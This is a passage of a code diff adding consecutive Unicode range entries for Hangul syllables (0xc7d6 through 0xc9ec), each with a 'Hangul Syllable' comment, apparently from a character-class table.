+ [0xc7d6, 0xc7d6], /* Hangul Syllable */
+ [0xc7d7, 0xc7d7], /* Hangul Syllable */
+ [0xc7d8, 0xc7d8], /* Hangul Syllable */
+ [0xc7d9, 0xc7d9], /* Hangul Syllable */
+ [0xc7da, 0xc7da], /* Hangul Syllable */
+ [0xc7db, 0xc7db], /* Hangul Syllable */
+ [0xc7dc, 0xc7dc], /* Hangul Syllable */
+ [0xc7dd, 0xc7dd], /* Hangul Syllable */
+ [0xc7de, 0xc7de], /* Hangul Syllable */
+ [0xc7df, 0xc7df], /* Hangul Syllable */
+ [0xc7e0, 0xc7e0], /* Hangul Syllable */
+ [0xc7e1, 0xc7e1], /* Hangul Syllable */
+ [0xc7e2, 0xc7e2], /* Hangul Syllable */
+ [0xc7e3, 0xc7e3], /* Hangul Syllable */
+ [0xc7e4, 0xc7e4], /* Hangul Syllable */
+ [0xc7e5, 0xc7e5], /* Hangul Syllable */
+ [0xc7e6, 0xc7e6], /* Hangul Syllable */
+ [0xc7e7, 0xc7e7], /* Hangul Syllable */
+ [0xc7e8, 0xc7e8], /* Hangul Syllable */
+ [0xc7e9, 0xc7e9], /* Hangul Syllable */
+ [0xc7ea, 0xc7ea], /* Hangul Syllable */
+ [0xc7eb, 0xc7eb], /* Hangul Syllable */
+ [0xc7ec, 0xc7ec], /* Hangul Syllable */
+ [0xc7ed, 0xc7ed], /* Hangul Syllable */
+ [0xc7ee, 0xc7ee], /* Hangul Syllable */
+ [0xc7ef, 0xc7ef], /* Hangul Syllable */
+ [0xc7f0, 0xc7f0], /* Hangul Syllable */
+ [0xc7f1, 0xc7f1], /* Hangul Syllable */
+ [0xc7f2, 0xc7f2], /* Hangul Syllable */
+ [0xc7f3, 0xc7f3], /* Hangul Syllable */
+ [0xc7f4, 0xc7f4], /* Hangul Syllable */
+ [0xc7f5, 0xc7f5], /* Hangul Syllable */
+ [0xc7f6, 0xc7f6], /* Hangul Syllable */
+ [0xc7f7, 0xc7f7], /* Hangul Syllable */
+ [0xc7f8, 0xc7f8], /* Hangul Syllable */
+ [0xc7f9, 0xc7f9], /* Hangul Syllable */
+ [0xc7fa, 0xc7fa], /* Hangul Syllable */
+ [0xc7fb, 0xc7fb], /* Hangul Syllable */
+ [0xc7fc, 0xc7fc], /* Hangul Syllable */
+ [0xc7fd, 0xc7fd], /* Hangul Syllable */
+ [0xc7fe, 0xc7fe], /* Hangul Syllable */
+ [0xc7ff, 0xc7ff], /* Hangul Syllable */
+ [0xc800, 0xc800], /* Hangul Syllable */
+ [0xc801, 0xc801], /* Hangul Syllable */
+ [0xc802, 0xc802], /* Hangul Syllable */
+ [0xc803, 0xc803], /* Hangul Syllable */
+ [0xc804, 0xc804], /* Hangul Syllable */
+ [0xc805, 0xc805], /* Hangul Syllable */
+ [0xc806, 0xc806], /* Hangul Syllable */
+ [0xc807, 0xc807], /* Hangul Syllable */
+ [0xc808, 0xc808], /* Hangul Syllable */
+ [0xc809, 0xc809], /* Hangul Syllable */
+ [0xc80a, 0xc80a], /* Hangul Syllable */
+ [0xc80b, 0xc80b], /* Hangul Syllable */
+ [0xc80c, 0xc80c], /* Hangul Syllable */
+ [0xc80d, 0xc80d], /* Hangul Syllable */
+ [0xc80e, 0xc80e], /* Hangul Syllable */
+ [0xc80f, 0xc80f], /* Hangul Syllable */
+ [0xc810, 0xc810], /* Hangul Syllable */
+ [0xc811, 0xc811], /* Hangul Syllable */
+ [0xc812, 0xc812], /* Hangul Syllable */
+ [0xc813, 0xc813], /* Hangul Syllable */
+ [0xc814, 0xc814], /* Hangul Syllable */
+ [0xc815, 0xc815], /* Hangul Syllable */
+ [0xc816, 0xc816], /* Hangul Syllable */
+ [0xc817, 0xc817], /* Hangul Syllable */
+ [0xc818, 0xc818], /* Hangul Syllable */
+ [0xc819, 0xc819], /* Hangul Syllable */
+ [0xc81a, 0xc81a], /* Hangul Syllable */
+ [0xc81b, 0xc81b], /* Hangul Syllable */
+ [0xc81c, 0xc81c], /* Hangul Syllable */
+ [0xc81d, 0xc81d], /* Hangul Syllable */
+ [0xc81e, 0xc81e], /* Hangul Syllable */
+ [0xc81f, 0xc81f], /* Hangul Syllable */
+ [0xc820, 0xc820], /* Hangul Syllable */
+ [0xc821, 0xc821], /* Hangul Syllable */
+ [0xc822, 0xc822], /* Hangul Syllable */
+ [0xc823, 0xc823], /* Hangul Syllable */
+ [0xc824, 0xc824], /* Hangul Syllable */
+ [0xc825, 0xc825], /* Hangul Syllable */
+ [0xc826, 0xc826], /* Hangul Syllable */
+ [0xc827, 0xc827], /* Hangul Syllable */
+ [0xc828, 0xc828], /* Hangul Syllable */
+ [0xc829, 0xc829], /* Hangul Syllable */
+ [0xc82a, 0xc82a], /* Hangul Syllable */
+ [0xc82b, 0xc82b], /* Hangul Syllable */
+ [0xc82c, 0xc82c], /* Hangul Syllable */
+ [0xc82d, 0xc82d], /* Hangul Syllable */
+ [0xc82e, 0xc82e], /* Hangul Syllable */
+ [0xc82f, 0xc82f], /* Hangul Syllable */
+ [0xc830, 0xc830], /* Hangul Syllable */
+ [0xc831, 0xc831], /* Hangul Syllable */
+ [0xc832, 0xc832], /* Hangul Syllable */
+ [0xc833, 0xc833], /* Hangul Syllable */
+ [0xc834, 0xc834], /* Hangul Syllable */
+ [0xc835, 0xc835], /* Hangul Syllable */
+ [0xc836, 0xc836], /* Hangul Syllable */
+ [0xc837, 0xc837], /* Hangul Syllable */
+ [0xc838, 0xc838], /* Hangul Syllable */
+ [0xc839, 0xc839], /* Hangul Syllable */
+ [0xc83a, 0xc83a], /* Hangul Syllable */
+ [0xc83b, 0xc83b], /* Hangul Syllable */
+ [0xc83c, 0xc83c], /* Hangul Syllable */
+ [0xc83d, 0xc83d], /* Hangul Syllable */
+ [0xc83e, 0xc83e], /* Hangul Syllable */
+ [0xc83f, 0xc83f], /* Hangul Syllable */
+ [0xc840, 0xc840], /* Hangul Syllable */
+ [0xc841, 0xc841], /* Hangul Syllable */
+ [0xc842, 0xc842], /* Hangul Syllable */
+ [0xc843, 0xc843], /* Hangul Syllable */
+ [0xc844, 0xc844], /* Hangul Syllable */
+ [0xc845, 0xc845], /* Hangul Syllable */
+ [0xc846, 0xc846], /* Hangul Syllable */
+ [0xc847, 0xc847], /* Hangul Syllable */
+ [0xc848, 0xc848], /* Hangul Syllable */
+ [0xc849, 0xc849], /* Hangul Syllable */
+ [0xc84a, 0xc84a], /* Hangul Syllable */
+ [0xc84b, 0xc84b], /* Hangul Syllable */
+ [0xc84c, 0xc84c], /* Hangul Syllable */
+ [0xc84d, 0xc84d], /* Hangul Syllable */
+ [0xc84e, 0xc84e], /* Hangul Syllable */
+ [0xc84f, 0xc84f], /* Hangul Syllable */
+ [0xc850, 0xc850], /* Hangul Syllable */
+ [0xc851, 0xc851], /* Hangul Syllable */
+ [0xc852, 0xc852], /* Hangul Syllable */
+ [0xc853, 0xc853], /* Hangul Syllable */
+ [0xc854, 0xc854], /* Hangul Syllable */
+ [0xc855, 0xc855], /* Hangul Syllable */
+ [0xc856, 0xc856], /* Hangul Syllable */
+ [0xc857, 0xc857], /* Hangul Syllable */
+ [0xc858, 0xc858], /* Hangul Syllable */
+ [0xc859, 0xc859], /* Hangul Syllable */
+ [0xc85a, 0xc85a], /* Hangul Syllable */
+ [0xc85b, 0xc85b], /* Hangul Syllable */
+ [0xc85c, 0xc85c], /* Hangul Syllable */
+ [0xc85d, 0xc85d], /* Hangul Syllable */
+ [0xc85e, 0xc85e], /* Hangul Syllable */
+ [0xc85f, 0xc85f], /* Hangul Syllable */
+ [0xc860, 0xc860], /* Hangul Syllable */
+ [0xc861, 0xc861], /* Hangul Syllable */
+ [0xc862, 0xc862], /* Hangul Syllable */
+ [0xc863, 0xc863], /* Hangul Syllable */
+ [0xc864, 0xc864], /* Hangul Syllable */
+ [0xc865, 0xc865], /* Hangul Syllable */
+ [0xc866, 0xc866], /* Hangul Syllable */
+ [0xc867, 0xc867], /* Hangul Syllable */
+ [0xc868, 0xc868], /* Hangul Syllable */
+ [0xc869, 0xc869], /* Hangul Syllable */
+ [0xc86a, 0xc86a], /* Hangul Syllable */
+ [0xc86b, 0xc86b], /* Hangul Syllable */
+ [0xc86c, 0xc86c], /* Hangul Syllable */
+ [0xc86d, 0xc86d], /* Hangul Syllable */
+ [0xc86e, 0xc86e], /* Hangul Syllable */
+ [0xc86f, 0xc86f], /* Hangul Syllable */
+ [0xc870, 0xc870], /* Hangul Syllable */
+ [0xc871, 0xc871], /* Hangul Syllable */
+ [0xc872, 0xc872], /* Hangul Syllable */
+ [0xc873, 0xc873], /* Hangul Syllable */
+ [0xc874, 0xc874], /* Hangul Syllable */
+ [0xc875, 0xc875], /* Hangul Syllable */
+ [0xc876, 0xc876], /* Hangul Syllable */
+ [0xc877, 0xc877], /* Hangul Syllable */
+ [0xc878, 0xc878], /* Hangul Syllable */
+ [0xc879, 0xc879], /* Hangul Syllable */
+ [0xc87a, 0xc87a], /* Hangul Syllable */
+ [0xc87b, 0xc87b], /* Hangul Syllable */
+ [0xc87c, 0xc87c], /* Hangul Syllable */
+ [0xc87d, 0xc87d], /* Hangul Syllable */
+ [0xc87e, 0xc87e], /* Hangul Syllable */
+ [0xc87f, 0xc87f], /* Hangul Syllable */
+ [0xc880, 0xc880], /* Hangul Syllable */
+ [0xc881, 0xc881], /* Hangul Syllable */
+ [0xc882, 0xc882], /* Hangul Syllable */
+ [0xc883, 0xc883], /* Hangul Syllable */
+ [0xc884, 0xc884], /* Hangul Syllable */
+ [0xc885, 0xc885], /* Hangul Syllable */
+ [0xc886, 0xc886], /* Hangul Syllable */
+ [0xc887, 0xc887], /* Hangul Syllable */
+ [0xc888, 0xc888], /* Hangul Syllable */
+ [0xc889, 0xc889], /* Hangul Syllable */
+ [0xc88a, 0xc88a], /* Hangul Syllable */
+ [0xc88b, 0xc88b], /* Hangul Syllable */
+ [0xc88c, 0xc88c], /* Hangul Syllable */
+ [0xc88d, 0xc88d], /* Hangul Syllable */
+ [0xc88e, 0xc88e], /* Hangul Syllable */
+ [0xc88f, 0xc88f], /* Hangul Syllable */
+ [0xc890, 0xc890], /* Hangul Syllable */
+ [0xc891, 0xc891], /* Hangul Syllable */
+ [0xc892, 0xc892], /* Hangul Syllable */
+ [0xc893, 0xc893], /* Hangul Syllable */
+ [0xc894, 0xc894], /* Hangul Syllable */
+ [0xc895, 0xc895], /* Hangul Syllable */
+ [0xc896, 0xc896], /* Hangul Syllable */
+ [0xc897, 0xc897], /* Hangul Syllable */
+ [0xc898, 0xc898], /* Hangul Syllable */
+ [0xc899, 0xc899], /* Hangul Syllable */
+ [0xc89a, 0xc89a], /* Hangul Syllable */
+ [0xc89b, 0xc89b], /* Hangul Syllable */
+ [0xc89c, 0xc89c], /* Hangul Syllable */
+ [0xc89d, 0xc89d], /* Hangul Syllable */
+ [0xc89e, 0xc89e], /* Hangul Syllable */
+ [0xc89f, 0xc89f], /* Hangul Syllable */
+ [0xc8a0, 0xc8a0], /* Hangul Syllable */
+ [0xc8a1, 0xc8a1], /* Hangul Syllable */
+ [0xc8a2, 0xc8a2], /* Hangul Syllable */
+ [0xc8a3, 0xc8a3], /* Hangul Syllable */
+ [0xc8a4, 0xc8a4], /* Hangul Syllable */
+ [0xc8a5, 0xc8a5], /* Hangul Syllable */
+ [0xc8a6, 0xc8a6], /* Hangul Syllable */
+ [0xc8a7, 0xc8a7], /* Hangul Syllable */
+ [0xc8a8, 0xc8a8], /* Hangul Syllable */
+ [0xc8a9, 0xc8a9], /* Hangul Syllable */
+ [0xc8aa, 0xc8aa], /* Hangul Syllable */
+ [0xc8ab, 0xc8ab], /* Hangul Syllable */
+ [0xc8ac, 0xc8ac], /* Hangul Syllable */
+ [0xc8ad, 0xc8ad], /* Hangul Syllable */
+ [0xc8ae, 0xc8ae], /* Hangul Syllable */
+ [0xc8af, 0xc8af], /* Hangul Syllable */
+ [0xc8b0, 0xc8b0], /* Hangul Syllable */
+ [0xc8b1, 0xc8b1], /* Hangul Syllable */
+ [0xc8b2, 0xc8b2], /* Hangul Syllable */
+ [0xc8b3, 0xc8b3], /* Hangul Syllable */
+ [0xc8b4, 0xc8b4], /* Hangul Syllable */
+ [0xc8b5, 0xc8b5], /* Hangul Syllable */
+ [0xc8b6, 0xc8b6], /* Hangul Syllable */
+ [0xc8b7, 0xc8b7], /* Hangul Syllable */
+ [0xc8b8, 0xc8b8], /* Hangul Syllable */
+ [0xc8b9, 0xc8b9], /* Hangul Syllable */
+ [0xc8ba, 0xc8ba], /* Hangul Syllable */
+ [0xc8bb, 0xc8bb], /* Hangul Syllable */
+ [0xc8bc, 0xc8bc], /* Hangul Syllable */
+ [0xc8bd, 0xc8bd], /* Hangul Syllable */
+ [0xc8be, 0xc8be], /* Hangul Syllable */
+ [0xc8bf, 0xc8bf], /* Hangul Syllable */
+ [0xc8c0, 0xc8c0], /* Hangul Syllable */
+ [0xc8c1, 0xc8c1], /* Hangul Syllable */
+ [0xc8c2, 0xc8c2], /* Hangul Syllable */
+ [0xc8c3, 0xc8c3], /* Hangul Syllable */
+ [0xc8c4, 0xc8c4], /* Hangul Syllable */
+ [0xc8c5, 0xc8c5], /* Hangul Syllable */
+ [0xc8c6, 0xc8c6], /* Hangul Syllable */
+ [0xc8c7, 0xc8c7], /* Hangul Syllable */
+ [0xc8c8, 0xc8c8], /* Hangul Syllable */
+ [0xc8c9, 0xc8c9], /* Hangul Syllable */
+ [0xc8ca, 0xc8ca], /* Hangul Syllable */
+ [0xc8cb, 0xc8cb], /* Hangul Syllable */
+ [0xc8cc, 0xc8cc], /* Hangul Syllable */
+ [0xc8cd, 0xc8cd], /* Hangul Syllable */
+ [0xc8ce, 0xc8ce], /* Hangul Syllable */
+ [0xc8cf, 0xc8cf], /* Hangul Syllable */
+ [0xc8d0, 0xc8d0], /* Hangul Syllable */
+ [0xc8d1, 0xc8d1], /* Hangul Syllable */
+ [0xc8d2, 0xc8d2], /* Hangul Syllable */
+ [0xc8d3, 0xc8d3], /* Hangul Syllable */
+ [0xc8d4, 0xc8d4], /* Hangul Syllable */
+ [0xc8d5, 0xc8d5], /* Hangul Syllable */
+ [0xc8d6, 0xc8d6], /* Hangul Syllable */
+ [0xc8d7, 0xc8d7], /* Hangul Syllable */
+ [0xc8d8, 0xc8d8], /* Hangul Syllable */
+ [0xc8d9, 0xc8d9], /* Hangul Syllable */
+ [0xc8da, 0xc8da], /* Hangul Syllable */
+ [0xc8db, 0xc8db], /* Hangul Syllable */
+ [0xc8dc, 0xc8dc], /* Hangul Syllable */
+ [0xc8dd, 0xc8dd], /* Hangul Syllable */
+ [0xc8de, 0xc8de], /* Hangul Syllable */
+ [0xc8df, 0xc8df], /* Hangul Syllable */
+ [0xc8e0, 0xc8e0], /* Hangul Syllable */
+ [0xc8e1, 0xc8e1], /* Hangul Syllable */
+ [0xc8e2, 0xc8e2], /* Hangul Syllable */
+ [0xc8e3, 0xc8e3], /* Hangul Syllable */
+ [0xc8e4, 0xc8e4], /* Hangul Syllable */
+ [0xc8e5, 0xc8e5], /* Hangul Syllable */
+ [0xc8e6, 0xc8e6], /* Hangul Syllable */
+ [0xc8e7, 0xc8e7], /* Hangul Syllable */
+ [0xc8e8, 0xc8e8], /* Hangul Syllable */
+ [0xc8e9, 0xc8e9], /* Hangul Syllable */
+ [0xc8ea, 0xc8ea], /* Hangul Syllable */
+ [0xc8eb, 0xc8eb], /* Hangul Syllable */
+ [0xc8ec, 0xc8ec], /* Hangul Syllable */
+ [0xc8ed, 0xc8ed], /* Hangul Syllable */
+ [0xc8ee, 0xc8ee], /* Hangul Syllable */
+ [0xc8ef, 0xc8ef], /* Hangul Syllable */
+ [0xc8f0, 0xc8f0], /* Hangul Syllable */
+ [0xc8f1, 0xc8f1], /* Hangul Syllable */
+ [0xc8f2, 0xc8f2], /* Hangul Syllable */
+ [0xc8f3, 0xc8f3], /* Hangul Syllable */
+ [0xc8f4, 0xc8f4], /* Hangul Syllable */
+ [0xc8f5, 0xc8f5], /* Hangul Syllable */
+ [0xc8f6, 0xc8f6], /* Hangul Syllable */
+ [0xc8f7, 0xc8f7], /* Hangul Syllable */
+ [0xc8f8, 0xc8f8], /* Hangul Syllable */
+ [0xc8f9, 0xc8f9], /* Hangul Syllable */
+ [0xc8fa, 0xc8fa], /* Hangul Syllable */
+ [0xc8fb, 0xc8fb], /* Hangul Syllable */
+ [0xc8fc, 0xc8fc], /* Hangul Syllable */
+ [0xc8fd, 0xc8fd], /* Hangul Syllable */
+ [0xc8fe, 0xc8fe], /* Hangul Syllable */
+ [0xc8ff, 0xc8ff], /* Hangul Syllable */
+ [0xc900, 0xc900], /* Hangul Syllable */
+ [0xc901, 0xc901], /* Hangul Syllable */
+ [0xc902, 0xc902], /* Hangul Syllable */
+ [0xc903, 0xc903], /* Hangul Syllable */
+ [0xc904, 0xc904], /* Hangul Syllable */
+ [0xc905, 0xc905], /* Hangul Syllable */
+ [0xc906, 0xc906], /* Hangul Syllable */
+ [0xc907, 0xc907], /* Hangul Syllable */
+ [0xc908, 0xc908], /* Hangul Syllable */
+ [0xc909, 0xc909], /* Hangul Syllable */
+ [0xc90a, 0xc90a], /* Hangul Syllable */
+ [0xc90b, 0xc90b], /* Hangul Syllable */
+ [0xc90c, 0xc90c], /* Hangul Syllable */
+ [0xc90d, 0xc90d], /* Hangul Syllable */
+ [0xc90e, 0xc90e], /* Hangul Syllable */
+ [0xc90f, 0xc90f], /* Hangul Syllable */
+ [0xc910, 0xc910], /* Hangul Syllable */
+ [0xc911, 0xc911], /* Hangul Syllable */
+ [0xc912, 0xc912], /* Hangul Syllable */
+ [0xc913, 0xc913], /* Hangul Syllable */
+ [0xc914, 0xc914], /* Hangul Syllable */
+ [0xc915, 0xc915], /* Hangul Syllable */
+ [0xc916, 0xc916], /* Hangul Syllable */
+ [0xc917, 0xc917], /* Hangul Syllable */
+ [0xc918, 0xc918], /* Hangul Syllable */
+ [0xc919, 0xc919], /* Hangul Syllable */
+ [0xc91a, 0xc91a], /* Hangul Syllable */
+ [0xc91b, 0xc91b], /* Hangul Syllable */
+ [0xc91c, 0xc91c], /* Hangul Syllable */
+ [0xc91d, 0xc91d], /* Hangul Syllable */
+ [0xc91e, 0xc91e], /* Hangul Syllable */
+ [0xc91f, 0xc91f], /* Hangul Syllable */
+ [0xc920, 0xc920], /* Hangul Syllable */
+ [0xc921, 0xc921], /* Hangul Syllable */
+ [0xc922, 0xc922], /* Hangul Syllable */
+ [0xc923, 0xc923], /* Hangul Syllable */
+ [0xc924, 0xc924], /* Hangul Syllable */
+ [0xc925, 0xc925], /* Hangul Syllable */
+ [0xc926, 0xc926], /* Hangul Syllable */
+ [0xc927, 0xc927], /* Hangul Syllable */
+ [0xc928, 0xc928], /* Hangul Syllable */
+ [0xc929, 0xc929], /* Hangul Syllable */
+ [0xc92a, 0xc92a], /* Hangul Syllable */
+ [0xc92b, 0xc92b], /* Hangul Syllable */
+ [0xc92c, 0xc92c], /* Hangul Syllable */
+ [0xc92d, 0xc92d], /* Hangul Syllable */
+ [0xc92e, 0xc92e], /* Hangul Syllable */
+ [0xc92f, 0xc92f], /* Hangul Syllable */
+ [0xc930, 0xc930], /* Hangul Syllable */
+ [0xc931, 0xc931], /* Hangul Syllable */
+ [0xc932, 0xc932], /* Hangul Syllable */
+ [0xc933, 0xc933], /* Hangul Syllable */
+ [0xc934, 0xc934], /* Hangul Syllable */
+ [0xc935, 0xc935], /* Hangul Syllable */
+ [0xc936, 0xc936], /* Hangul Syllable */
+ [0xc937, 0xc937], /* Hangul Syllable */
+ [0xc938, 0xc938], /* Hangul Syllable */
+ [0xc939, 0xc939], /* Hangul Syllable */
+ [0xc93a, 0xc93a], /* Hangul Syllable */
+ [0xc93b, 0xc93b], /* Hangul Syllable */
+ [0xc93c, 0xc93c], /* Hangul Syllable */
+ [0xc93d, 0xc93d], /* Hangul Syllable */
+ [0xc93e, 0xc93e], /* Hangul Syllable */
+ [0xc93f, 0xc93f], /* Hangul Syllable */
+ [0xc940, 0xc940], /* Hangul Syllable */
+ [0xc941, 0xc941], /* Hangul Syllable */
+ [0xc942, 0xc942], /* Hangul Syllable */
+ [0xc943, 0xc943], /* Hangul Syllable */
+ [0xc944, 0xc944], /* Hangul Syllable */
+ [0xc945, 0xc945], /* Hangul Syllable */
+ [0xc946, 0xc946], /* Hangul Syllable */
+ [0xc947, 0xc947], /* Hangul Syllable */
+ [0xc948, 0xc948], /* Hangul Syllable */
+ [0xc949, 0xc949], /* Hangul Syllable */
+ [0xc94a, 0xc94a], /* Hangul Syllable */
+ [0xc94b, 0xc94b], /* Hangul Syllable */
+ [0xc94c, 0xc94c], /* Hangul Syllable */
+ [0xc94d, 0xc94d], /* Hangul Syllable */
+ [0xc94e, 0xc94e], /* Hangul Syllable */
+ [0xc94f, 0xc94f], /* Hangul Syllable */
+ [0xc950, 0xc950], /* Hangul Syllable */
+ [0xc951, 0xc951], /* Hangul Syllable */
+ [0xc952, 0xc952], /* Hangul Syllable */
+ [0xc953, 0xc953], /* Hangul Syllable */
+ [0xc954, 0xc954], /* Hangul Syllable */
+ [0xc955, 0xc955], /* Hangul Syllable */
+ [0xc956, 0xc956], /* Hangul Syllable */
+ [0xc957, 0xc957], /* Hangul Syllable */
+ [0xc958, 0xc958], /* Hangul Syllable */
+ [0xc959, 0xc959], /* Hangul Syllable */
+ [0xc95a, 0xc95a], /* Hangul Syllable */
+ [0xc95b, 0xc95b], /* Hangul Syllable */
+ [0xc95c, 0xc95c], /* Hangul Syllable */
+ [0xc95d, 0xc95d], /* Hangul Syllable */
+ [0xc95e, 0xc95e], /* Hangul Syllable */
+ [0xc95f, 0xc95f], /* Hangul Syllable */
+ [0xc960, 0xc960], /* Hangul Syllable */
+ [0xc961, 0xc961], /* Hangul Syllable */
+ [0xc962, 0xc962], /* Hangul Syllable */
+ [0xc963, 0xc963], /* Hangul Syllable */
+ [0xc964, 0xc964], /* Hangul Syllable */
+ [0xc965, 0xc965], /* Hangul Syllable */
+ [0xc966, 0xc966], /* Hangul Syllable */
+ [0xc967, 0xc967], /* Hangul Syllable */
+ [0xc968, 0xc968], /* Hangul Syllable */
+ [0xc969, 0xc969], /* Hangul Syllable */
+ [0xc96a, 0xc96a], /* Hangul Syllable */
+ [0xc96b, 0xc96b], /* Hangul Syllable */
+ [0xc96c, 0xc96c], /* Hangul Syllable */
+ [0xc96d, 0xc96d], /* Hangul Syllable */
+ [0xc96e, 0xc96e], /* Hangul Syllable */
+ [0xc96f, 0xc96f], /* Hangul Syllable */
+ [0xc970, 0xc970], /* Hangul Syllable */
+ [0xc971, 0xc971], /* Hangul Syllable */
+ [0xc972, 0xc972], /* Hangul Syllable */
+ [0xc973, 0xc973], /* Hangul Syllable */
+ [0xc974, 0xc974], /* Hangul Syllable */
+ [0xc975, 0xc975], /* Hangul Syllable */
+ [0xc976, 0xc976], /* Hangul Syllable */
+ [0xc977, 0xc977], /* Hangul Syllable */
+ [0xc978, 0xc978], /* Hangul Syllable */
+ [0xc979, 0xc979], /* Hangul Syllable */
+ [0xc97a, 0xc97a], /* Hangul Syllable */
+ [0xc97b, 0xc97b], /* Hangul Syllable */
+ [0xc97c, 0xc97c], /* Hangul Syllable */
+ [0xc97d, 0xc97d], /* Hangul Syllable */
+ [0xc97e, 0xc97e], /* Hangul Syllable */
+ [0xc97f, 0xc97f], /* Hangul Syllable */
+ [0xc980, 0xc980], /* Hangul Syllable */
+ [0xc981, 0xc981], /* Hangul Syllable */
+ [0xc982, 0xc982], /* Hangul Syllable */
+ [0xc983, 0xc983], /* Hangul Syllable */
+ [0xc984, 0xc984], /* Hangul Syllable */
+ [0xc985, 0xc985], /* Hangul Syllable */
+ [0xc986, 0xc986], /* Hangul Syllable */
+ [0xc987, 0xc987], /* Hangul Syllable */
+ [0xc988, 0xc988], /* Hangul Syllable */
+ [0xc989, 0xc989], /* Hangul Syllable */
+ [0xc98a, 0xc98a], /* Hangul Syllable */
+ [0xc98b, 0xc98b], /* Hangul Syllable */
+ [0xc98c, 0xc98c], /* Hangul Syllable */
+ [0xc98d, 0xc98d], /* Hangul Syllable */
+ [0xc98e, 0xc98e], /* Hangul Syllable */
+ [0xc98f, 0xc98f], /* Hangul Syllable */
+ [0xc990, 0xc990], /* Hangul Syllable */
+ [0xc991, 0xc991], /* Hangul Syllable */
+ [0xc992, 0xc992], /* Hangul Syllable */
+ [0xc993, 0xc993], /* Hangul Syllable */
+ [0xc994, 0xc994], /* Hangul Syllable */
+ [0xc995, 0xc995], /* Hangul Syllable */
+ [0xc996, 0xc996], /* Hangul Syllable */
+ [0xc997, 0xc997], /* Hangul Syllable */
+ [0xc998, 0xc998], /* Hangul Syllable */
+ [0xc999, 0xc999], /* Hangul Syllable */
+ [0xc99a, 0xc99a], /* Hangul Syllable */
+ [0xc99b, 0xc99b], /* Hangul Syllable */
+ [0xc99c, 0xc99c], /* Hangul Syllable */
+ [0xc99d, 0xc99d], /* Hangul Syllable */
+ [0xc99e, 0xc99e], /* Hangul Syllable */
+ [0xc99f, 0xc99f], /* Hangul Syllable */
+ [0xc9a0, 0xc9a0], /* Hangul Syllable */
+ [0xc9a1, 0xc9a1], /* Hangul Syllable */
+ [0xc9a2, 0xc9a2], /* Hangul Syllable */
+ [0xc9a3, 0xc9a3], /* Hangul Syllable */
+ [0xc9a4, 0xc9a4], /* Hangul Syllable */
+ [0xc9a5, 0xc9a5], /* Hangul Syllable */
+ [0xc9a6, 0xc9a6], /* Hangul Syllable */
+ [0xc9a7, 0xc9a7], /* Hangul Syllable */
+ [0xc9a8, 0xc9a8], /* Hangul Syllable */
+ [0xc9a9, 0xc9a9], /* Hangul Syllable */
+ [0xc9aa, 0xc9aa], /* Hangul Syllable */
+ [0xc9ab, 0xc9ab], /* Hangul Syllable */
+ [0xc9ac, 0xc9ac], /* Hangul Syllable */
+ [0xc9ad, 0xc9ad], /* Hangul Syllable */
+ [0xc9ae, 0xc9ae], /* Hangul Syllable */
+ [0xc9af, 0xc9af], /* Hangul Syllable */
+ [0xc9b0, 0xc9b0], /* Hangul Syllable */
+ [0xc9b1, 0xc9b1], /* Hangul Syllable */
+ [0xc9b2, 0xc9b2], /* Hangul Syllable */
+ [0xc9b3, 0xc9b3], /* Hangul Syllable */
+ [0xc9b4, 0xc9b4], /* Hangul Syllable */
+ [0xc9b5, 0xc9b5], /* Hangul Syllable */
+ [0xc9b6, 0xc9b6], /* Hangul Syllable */
+ [0xc9b7, 0xc9b7], /* Hangul Syllable */
+ [0xc9b8, 0xc9b8], /* Hangul Syllable */
+ [0xc9b9, 0xc9b9], /* Hangul Syllable */
+ [0xc9ba, 0xc9ba], /* Hangul Syllable */
+ [0xc9bb, 0xc9bb], /* Hangul Syllable */
+ [0xc9bc, 0xc9bc], /* Hangul Syllable */
+ [0xc9bd, 0xc9bd], /* Hangul Syllable */
+ [0xc9be, 0xc9be], /* Hangul Syllable */
+ [0xc9bf, 0xc9bf], /* Hangul Syllable */
+ [0xc9c0, 0xc9c0], /* Hangul Syllable */
+ [0xc9c1, 0xc9c1], /* Hangul Syllable */
+ [0xc9c2, 0xc9c2], /* Hangul Syllable */
+ [0xc9c3, 0xc9c3], /* Hangul Syllable */
+ [0xc9c4, 0xc9c4], /* Hangul Syllable */
+ [0xc9c5, 0xc9c5], /* Hangul Syllable */
+ [0xc9c6, 0xc9c6], /* Hangul Syllable */
+ [0xc9c7, 0xc9c7], /* Hangul Syllable */
+ [0xc9c8, 0xc9c8], /* Hangul Syllable */
+ [0xc9c9, 0xc9c9], /* Hangul Syllable */
+ [0xc9ca, 0xc9ca], /* Hangul Syllable */
+ [0xc9cb, 0xc9cb], /* Hangul Syllable */
+ [0xc9cc, 0xc9cc], /* Hangul Syllable */
+ [0xc9cd, 0xc9cd], /* Hangul Syllable */
+ [0xc9ce, 0xc9ce], /* Hangul Syllable */
+ [0xc9cf, 0xc9cf], /* Hangul Syllable */
+ [0xc9d0, 0xc9d0], /* Hangul Syllable */
+ [0xc9d1, 0xc9d1], /* Hangul Syllable */
+ [0xc9d2, 0xc9d2], /* Hangul Syllable */
+ [0xc9d3, 0xc9d3], /* Hangul Syllable */
+ [0xc9d4, 0xc9d4], /* Hangul Syllable */
+ [0xc9d5, 0xc9d5], /* Hangul Syllable */
+ [0xc9d6, 0xc9d6], /* Hangul Syllable */
+ [0xc9d7, 0xc9d7], /* Hangul Syllable */
+ [0xc9d8, 0xc9d8], /* Hangul Syllable */
+ [0xc9d9, 0xc9d9], /* Hangul Syllable */
+ [0xc9da, 0xc9da], /* Hangul Syllable */
+ [0xc9db, 0xc9db], /* Hangul Syllable */
+ [0xc9dc, 0xc9dc], /* Hangul Syllable */
+ [0xc9dd, 0xc9dd], /* Hangul Syllable */
+ [0xc9de, 0xc9de], /* Hangul Syllable */
+ [0xc9df, 0xc9df], /* Hangul Syllable */
+ [0xc9e0, 0xc9e0], /* Hangul Syllable */
+ [0xc9e1, 0xc9e1], /* Hangul Syllable */
+ [0xc9e2, 0xc9e2], /* Hangul Syllable */
+ [0xc9e3, 0xc9e3], /* Hangul Syllable */
+ [0xc9e4, 0xc9e4], /* Hangul Syllable */
+ [0xc9e5, 0xc9e5], /* Hangul Syllable */
+ [0xc9e6, 0xc9e6], /* Hangul Syllable */
+ [0xc9e7, 0xc9e7], /* Hangul Syllable */
+ [0xc9e8, 0xc9e8], /* Hangul Syllable */
+ [0xc9e9, 0xc9e9], /* Hangul Syllable */
+ [0xc9ea, 0xc9ea], /* Hangul Syllable */
+ [0xc9eb, 0xc9eb], /* Hangul Syllable */
+ [0xc9ec, 0xc9ec], /* Hangul Syllable */
